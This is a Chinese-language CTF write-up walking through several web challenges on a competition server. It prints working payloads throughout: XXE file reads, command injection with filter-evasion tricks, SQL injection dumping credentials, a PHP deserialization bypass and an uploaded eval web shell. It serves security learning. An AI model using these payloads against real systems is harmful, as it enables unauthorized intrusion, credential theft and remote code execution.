一般是做了ip限制,加上 X-Forwarded-For 头即可绕过
接着又提示不是管理员,仔细看响应头的 Set-Cookie ,有个 admin=0 ,很明显是通过Cookie来判断是否是管理员,直接在请求中加个 Cookie:admin=1 即可绕过,获取flag.
直接访问根目录,发现是个百度页面,看了下源码,没什么异常。
访问下 index.php ,发现有点东西,尝试访问几个常见备份文件后缀,没有特别的发现。仔细看了下,发现标题是 gedit ,猜想是 gedit 的备份文件, 通过 index.php~ 获取备份源码。
源码中通过 php://input 获取 POST 请求中的内容,然后把内容作为 xml 解释, 猜想应该是XXE 漏洞利用。根据参数名构造以下 XML 数据发送到服务器。
admin pass
发现可以回显用户名。
使用以下 XXE payload 可读取 /etc/passwd 文件
]>
&xxe;
尝试读取/flag, /etc/flag, 都不存在。然后尝试读取 index.php , 但不知道网站根目录路径
接着也发现根目录有 flag.php 文件
查了一下,发现可以通过 php://filter/ 来读取当前目录下的文件。于是构造以下 XXE payload 即可读取 flag.php
]>
&xxe;
打开首页,发现可以输入 ip ,然后 ping 该 ip,这种一般会有命令注入
把参数的值设置成 ;ls; 成功列出了当前目录的文件。
尝试列出根目录,发现被拦截了,经过几次尝试,发现命令加一个空格会被拦截。查了下空格绕过,发现可以使用 $IF$$9
或 ${IFS}
来代替空格。成功执行 ls 命令。
发现在根目录有 flag 文件,尝试读取,但读取文件的命令如 cat 、head 、tail 等命令被拦截了,同时 flag 关键词也被拦截了。查了下,发现可以通过在命令中间加两个双引号绕过。
使用 c"“at${IFS}/fl”"ag 读取 flag 文件,提示 flag 不在第一行
可以使用tail /flag -n +3 的方式来读取第3行的内容
最后通过 burp 爆破,发现 flag 在第16行。
访问首页,是 Apache 默认界面。
访问 index.php ,给出了源码, 源码中获取 code 参数的内容, 然后把 code 参数的内容传进 eval 中执行。理论上只要把 code 的值设置成 GetYourFlag() 即可获取 flag, 但在执行之前做了过滤,如果内容是字母,数字,下划线等特殊字符,则拒绝执行。
查了下,发现 p 神的文章里面说到可以通过 (‘phpinfo’)(); 的方式来执行字符串的代码。然后通过特殊字符取反来构造字母,如 ~ 0xb8 的值刚好是字母 G 。通过下面的方式生成 GetYourFlag 取反的十六进制值。
然后在输出的十六进制字符串的每两个字符前加上 % 来构造 URL 编码的特殊字符串,最后的 payload 如下:
http://119.61.19.212:8082/index.php?code=(~%b8%9a%8b%a6%90%8a%8d%b9%93%9e%98)()
没登录账号,查看源码找下思路,发现 UserFactory.php 文件的注释里面有个密码,但不知道账号是什么。
在 web.php 下面发现以下路由, 打开相应的 php 文件查看
发现 UserController.php 中有个 SQL 注入
根据上面的路由构造以下 URL 获取所有用户的账号密码。
http://119.61.19.212:8085/user_testpage/1’%20or%20’a’='a
第二个账号的邮箱提示A Hint=key,后面会有用。通过尝试,可以使用以下账号密码登录[email protected]/secertheretola
登录后尝试访问 HomeController.php 中路由的路径。
http://119.61.19.212:8085/home/uploadto_upload
该地址的源码有个 _token 值,后面又有用。。。
接着发现 uploadss 方法可以上传文件,但前提是 key 值要正确,这个 key 值就是上面第二个用户的用户名。上传的 URL 地址如下:http://119.61.19.212:8085/home/uploadss/NotAllow6171
在上传表单中加入上面请求获取的 _token, 最后构造以下上传表单进行上传:
上传后提示 hack, 应该是过滤了文件的内容
发现内容只要有php关键字即拦截。 回头看下剩下一个没被利用的路由
发现访问 http://119.61.19.212:8085/home/profile 可以访问 show() 方法,该方法会加载 auth.uploads.template 模板, 该模板刚好是位于上传的目录中:
可以猜到是上传文件覆盖该模板来获取 flag, 现在还有一个问题是不能上传 php 代码。
继续翻源码,发现 AppServiceProvider.php 中有一段代码有 file_get_contents() 函数,查了下,是个自定义指令,可以在模板中通过 @filedata 来获取文件的内容。
最后只需把上传文件名设置成 template.blade.php ,内容设置成 @filedata(’/flag’) ,然后访问 /home/profile 即可读取 flag
api 这题只给了个地址,直接访问,未发现什么,然后访问 /api/ 提示 POST filename 参数。
直接 POST filename 参数提示 json 解析错误
经尝试,可以通过以下方式传递参数:
尝试读取上级目录的 index.php
根目录的 index.php 包含了 hack.php ,然后接收 flag 参数的值来进行反序列化 。这里存在反序列化漏洞。
继续读取 hack.php
hack.php 中的 readfile() 函数会读取 $file 变量中指定的文件。同时在注释中提示了读取 fffffaa_not.php 文件,所以只需要构造以下反序列化对象作为 flag 的值即可读取 fffffaa_not.php 的内容:
O:4:“hack”:1:{s:4:“file”;s:15:“fffffaa_not.php”;}
但在 index.php 中有对反序列化内容过滤
查了下,可以在O: 后面添加一个加号来绕过,payload如下:
O:+4:“hack”:1:{s:4:“file”;s:15:“fffffaa_not.php”;}http://119.61.19.212:8086/?flag=O%3a%2b4%3a"hack"%3a1%3a{s%3a4%3a"file"%3bs%3a15%3a"fffffaa_not.php"%3b}
查看 fffffaa_not.php 的代码,发现获取参数 jhh08881111jn 的值作为内容,file_na 的值作为文件名来上传文件到 uploads 目录中。其中做了文件内容检查,不能有 [< 这些符号, 可以通过把参数设置成数组来绕过 jhh08881111jn[], payload 如下
http://119.61.19.212:8086/fffffaa_not.php?jhh08881111jn[]=<%3fphp+@eval($_POST[cmd])%3b%3f>&file_na=1234
访问uploads/1234.php,想执行命令,发现 500 错误,然后执行 phpinfo(), 发现禁用了危险函数:
这里可以直接使用 scandir() 函数来列目录,然后通过 file_get_contents() 函数来读取文件。
发现 flag 在 /f1ag_ahajjdhh11qwe 上,通过 file_get_contents() 读取: